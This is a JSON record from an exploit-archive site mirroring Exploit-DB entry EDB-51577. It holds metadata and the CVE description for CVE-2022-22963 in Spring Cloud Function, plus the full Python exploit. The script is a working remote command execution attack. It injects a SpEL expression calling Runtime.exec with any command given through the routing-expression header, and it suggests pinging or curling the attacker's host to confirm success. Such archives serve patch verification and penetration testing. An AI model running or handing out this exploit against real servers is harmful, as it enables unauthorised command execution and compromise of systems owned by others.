{"exploit":{"id":"EDB-51577","name":"Spring Cloud 3.2.2 - Remote Command Execution (RCE)","description":"Spring Cloud 3.2.2 - Remote Command Execution (RCE)","cves":["CVE-2022-22963"],"author":"GatoGamer1155","published":"2023-07-11","platform":"java","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51577","path":"exploits/java/webapps/51577.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51577.py","vulnerabilities":[{"id":"CVE-2022-22963","state":"PUBLISHED","title":null,"titleSource":null,"description":"In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2022-22963","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2022-22963"},"updatedAt":"2025-10-21T23:15:42.941Z","retrievedAt":"2026-11-26T19:25:35.466Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51577.png?v=2","url":"https://exploitbin.com/exploits/EDB-51577","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51577/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51577/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)\n# Date: 07/07/2023\n# Exploit Author: GatoGamer1155, 0bfxgh0st\n# Vendor Homepage: https://spring.io/projects/spring-cloud-function/\n# Description: Exploit to execute commands exploiting CVE-2022-22963\n# Software Link: https://spring.io/projects/spring-cloud-function\n# CVE: CVE-2022-22963\n\nimport requests, argparse, json\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--url\", type=str, help=\"http://172.17.0.2:8080/functionRouter\", required=True)\nparser.add_argument(\"--command\", type=str, help=\"ping -c1 172.17.0.1\", required=True)\nargs = parser.parse_args()\n\nprint(\"\\n\\033[0;37m[\\033[0;33m!\\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\\n\")\n\nheaders = {\"spring.cloud.function.routing-expression\": 'T(java.lang.Runtime).getRuntime().exec(\"%s\")' % args.command }\ndata = {\"data\": \"\"}\n\nrequest = requests.post(args.url, data=data, headers=headers)\nresponse = json.dumps(json.loads(request.text), indent=2)\nprint(response)","sha256":"16325857e2173dae764ad1823732f774928a0b0090cb681a54dee6afe0848b37","bytes":1133,"fetchedAt":"2026-11-27T11:08:51.670Z","encoding":"utf-8 (display only; download retains original bytes)"}